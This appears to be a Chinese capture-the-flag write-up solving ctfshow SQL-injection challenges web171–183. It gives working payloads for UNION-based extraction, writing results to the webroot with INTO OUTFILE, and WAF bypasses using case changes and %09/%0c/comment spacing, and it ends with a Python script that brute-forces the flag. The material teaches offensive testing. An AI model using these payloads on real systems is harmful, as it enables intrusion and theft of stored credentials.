web171

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接构造闭合即可
payload=1' or 1;-- -

web172

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

不返回username即可
payload=1' union select 1,password from ctfshow_user2;-- -

web173

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

和上面类似
payload=1' union select 1,password,3 from ctfshow_user3;-- -

web174

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

带数字的传不出来,可以将查询结果写到文件内,然后访问
payload=1' union select 1,password from ctfshow_user4 into outfile '/var/www/html/flag.txt';-- -

web175

payload同上

web176

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

大写绕过,payload=1' union Select 1,2,password from ctfshow_user where username='flag';-- -

web177

过滤了空格,用多行注释符/**/代替,注释用%23(#)
payload=1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user;%23

web178

/**/无法绕过空格,用%09绕过
payload=2'%09union%09select%091,2,password%09from%09ctfshow_user%23

web179

/**/ %09没用,利用%0c作为空格绕过过滤
payload=1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180

末为单引号闭合,
payload=-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag

web181

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

payload=-1'%0cor%0c%0cusername='flag

web182

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

payload=-1'%0cor%0cid=26%0cor%0c'1'='2

web183

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

只返回查询到的行数,可以类似布尔型注入来爆破flag,上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url='http://d56a92a6-06a2-4216-b387-30758297de79.challenge.ctf.show:8080/select-waf.php'

test='1234567890qazwsxedcrfvtgbyhnujmiklop-'
pwd=''
for i in range(9,50):
for j in test:
data={
'tableName': "(ctfshow_user)where(mid(pass,"+str(i)+",1))like('"+j+"')"
}
res=requests.post(url=url,data=data)
# print(res.text)
if('$user_count = 1;' in res.text):
pwd+=j
print(pwd)
print('ctfshow{%s}'%pwd)